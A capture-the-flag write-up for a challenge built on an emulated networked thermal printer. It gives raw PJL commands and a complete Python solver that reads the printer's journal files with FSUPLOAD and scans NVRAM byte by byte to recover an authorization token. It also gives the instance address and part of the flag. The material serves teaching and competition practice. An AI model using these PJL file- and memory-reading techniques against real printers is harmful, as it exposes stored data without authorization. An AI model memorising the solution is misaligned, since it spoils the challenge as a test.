Thermal Receipt
Thermal Receipt
Platform: CACTF2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: pjl_enumeration, nvram_read, fsupload_recall_trigger, stateful_token_materialization, single_address_nvram_scan
Summary
Task: networked thermal printer (RiverGate RG-T80II emulator) speaking raw PJL; last-closed receipt defers the auth token to an empty NVRAM slot. Solution: use PRET/raw PJL to enumerate the journal, then trigger lazy token recall with FSUPLOAD of the last-closed receipt in the same persistent connection before single-byte reading the 60-byte NVRAM auth slot.
Thermal Receipt — CACTF2026
Overview / Description
A networked thermal receipt printer (RiverGate RG-T80II emulator) was left behind after clerks stripped a ration kiosk. It speaks a raw printer protocol; PRET in PJL mode is the intended starting point. "If the printer still remembers the right transaction, it may hold the authorization token."
A TCP service (e.g. 154.57.164.74:30459) emulates a networked thermal receipt printer that speaks raw PJL (Printer Job Language). The device keeps an electronic journal of receipts in an on-device filesystem. The authorization token (flag) is associated with the last-closed transaction, but it is not stored inline — the last receipt defers to an NVRAM slot that is empty by default. The token is only materialized ("recalled") into NVRAM after the printer reads the last-closed transaction file within the same persistent PJL session.
Despite the CACTF2026 event label, this challenge reuses an HTB-format flag: HTB{...}. The constant part of the flag is HTB{th3rm4l_j0urn4l_r3c4ll_...} with an instance-specific hash suffix.
Recon
The intended tool is PRET (PRinter Exploitation Toolkit) in PJL mode:
bash read-only • copy allowedgit clone https://github.com/RUB-NDS/PRET python3 pret.py 154.57.164.74:30459 pjl
Basic PRET commands map to PJL filesystem operations:
id/@PJL INFO ID→ device identifies as RiverGate RG-T80II.ls/@PJL FSDIRLIST→ filesystem tree.cat <file>/@PJL FSUPLOAD→ read files.
Filesystem contents discovered (volume 0:):
0:/config/device.txt
0:/journal/last.txt
0:/journal/receipt_0000.txt
0:/journal/receipt_0001.txt
0:/journal/receipt_0002.txt
0:/journal/receipt_0003.txt
0:/readme.txt
0:/spool/README.txt
Device configuration:
@PJL INFO CONFIG
MODEL = RG-T80II
FIRMWARE = 3.18
SERIALNUMBER = RGT80-042-9100
PERSONALITY = PJL,PCL,ESC/POS
EJOURNAL = ON
config/device.txt:
LAST_CLOSED_SLOT = NVRAM:EJ_LAST
@PJL INFO VARIABLES
EJINDEX = NVRAM [READONLY]
Reading the receipts:
receipt_0000.txt..receipt_0002.txteach contain an inline auth code:RG-5812-OK,RG-4421-OK,RG-9014-OK(decoys / red herrings).receipt_0003.txt(the last-closed transaction, pointed to by0:/journal/last.txtand the NVRAM indexEJ_LAST) defers to NVRAM:
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60
So the real token lives in a 60-byte NVRAM slot at ADDR=53264.
Analysis — the empty-slot trap and emulator quirks
A naive read of the referenced slot returns nothing:
@PJL RNVRAM ADDRESS=53264
→ DATA=0 (empty, all zeros)
A full reliable single-address NVRAM scan (ADDRESS=0 .. 59999, one address per command) reveals:
- Config strings at address
512. EJ_LAST = 0:/journal/receipt_0003.txtat address32768.- The
EJ_AUTH_0421label (12 bytes) at address53248. - The value slot at
53264is genuinely all zeros.
Emulator quirks and dead ends worth documenting so they aren't re-tried:
- Batched RNVRAM reads are unreliable. The emulator drops or mishandles large batched
RNVRAMcommands and returns false zeros. Only single-address reads are dependable — this is the single most important pitfall, because a batched scan makes it look like the slot is permanently empty. - Only PJL responds. PCL and PostScript/ESC-POS personalities are silent; all interaction must be PJL.
- NVRAM is effectively read-only.
WNVRAMis a no-op — you cannot write the token yourself. - No PJL password / unlock mechanism exists. No path traversal, no extra filesystem volumes or slack space to carve.
The value slot being empty by default, combined with the narrative hint "If the printer still remembers the right transaction, it may hold the authorization token," and the flag name th3rm4l_j0urn4l_r3c4ll (thermal journal recall), points to a stateful, lazily-populated token.
Exploitation — the recall trigger
The token is materialized only after the printer recalls the last-closed transaction within the same persistent PJL connection. The recall trigger is an FSUPLOAD of the last-closed receipt file:
@PJL FSUPLOAD NAME="0:/journal/receipt_0003.txt" OFFSET=0 SIZE=300
After this upload (in the same TCP/PJL session), the previously-empty NVRAM auth slot becomes populated. Single-byte reads across ADDRESS=53264 .. 53323 (60 bytes) then return the flag:
@PJL RNVRAM ADDRESS=53264 → DATA=<byte 0>
@PJL RNVRAM ADDRESS=53265 → DATA=<byte 1>
...
@PJL RNVRAM ADDRESS=53323 → DATA=<byte 59>
Concatenating the 60 bytes (stripping trailing zero padding) yields the flag. The session must stay open between the FSUPLOAD recall and the reads; opening a fresh connection resets the slot back to empty.
Solver script
python read-only • copy allowed#!/usr/bin/env python3 """ Thermal Receipt (CACTF2026) — raw PJL solver. Insight: the last-closed receipt (receipt_0003.txt) defers its auth token to an empty NVRAM slot at ADDR=53264 LEN=60. The token is only "recalled" into NVRAM after the last-closed receipt is FSUPLOAD-ed within the SAME persistent PJL connection. Then single-byte RNVRAM reads reconstruct the 60-byte flag. Batched RNVRAM reads return false zeros — use single-address reads only. """ import socket import sys import re UEL = b"\x1b%-12345X" class PJL: def __init__(self, host, port, timeout=10): self.sock = socket.create_connection((host, port), timeout=timeout) # Mimic PRET's on_connect handshake. self.sock.sendall(UEL + b"@PJL USTATUSOFF\r\n" + UEL) def _recv_until(self, marker, limit=1 << 20): buf = b"" while marker not in buf and len(buf) < limit: chunk = self.sock.recv(4096) if not chunk: break buf += chunk return buf def cmd(self, command): # Frame with an ECHO token so we know where the reply ends. token = "PJLDONE_TOKEN" payload = ( UEL + command.encode() + b"\r\n" + f"@PJL ECHO {token}\r\n\r\n".encode() + UEL ) self.sock.sendall(payload) data = self._recv_until(token.encode()) # Strip the UEL framing and the trailing echo line. text = data.replace(UEL, b"") text = re.split(rb"@PJL ECHO " + token.encode(), text)[0] return text.strip(b"\r\n") def read_byte(self, addr): resp = self.cmd(f"@PJL RNVRAM ADDRESS={addr}").decode(errors="replace") m = re.search(r"DATA\s*=\s*(\d+)", resp) return int(m.group(1)) & 0xFF if m else 0 def close(self): try: self.sock.close() except OSError: pass def solve(host, port): p = PJL(host, port) try: # 1) Recall the last-closed transaction to materialize the NVRAM token. p.cmd('@PJL FSUPLOAD NAME="0:/journal/receipt_0003.txt" OFFSET=0 SIZE=300') # 2) Single-address reads across the 60-byte auth slot. base, length = 53264, 60 raw = bytes(p.read_byte(base + i) for i in range(length)) return raw.rstrip(b"\x00").decode(errors="replace") finally: p.close() if __name__ == "__main__": host, port = sys.argv[1], int(sys.argv[2]) print(solve(host, port))
Usage:
bash read-only • copy allowedpython3 solve.py 154.57.164.74 30459
Confirmed against two instances; the trailing hash differs per instance while the constant part remains HTB{th3rm4l_j0urn4l_r3c4ll_...}.
Takeaways
- Printer challenges → PRET in PJL mode. Enumerate BOTH the filesystem (
FSDIRLIST,FSUPLOAD) AND NVRAM (RNVRAM,INFO CONFIG/VARIABLES/FILESYS). - NVRAM auth slots may be lazily populated. An emulated device can require an in-session action ("recall the transaction") before a value appears. Don't conclude a referenced slot is permanently empty from a single read.
- Read the narrative. "Still remembers the right transaction" = read/upload the last-closed receipt to trigger recall; the flag name
th3rm4l_j0urn4l_r3c4llliterally spells out "journal recall." - Beware emulator quirks. Batched
RNVRAMcommands returned false zeros here — use single-address reads. Only the PJL personality responds;WNVRAMis a no-op. - Keep the session persistent. The recall trigger and the reads must share one TCP/PJL connection; reconnecting resets the slot.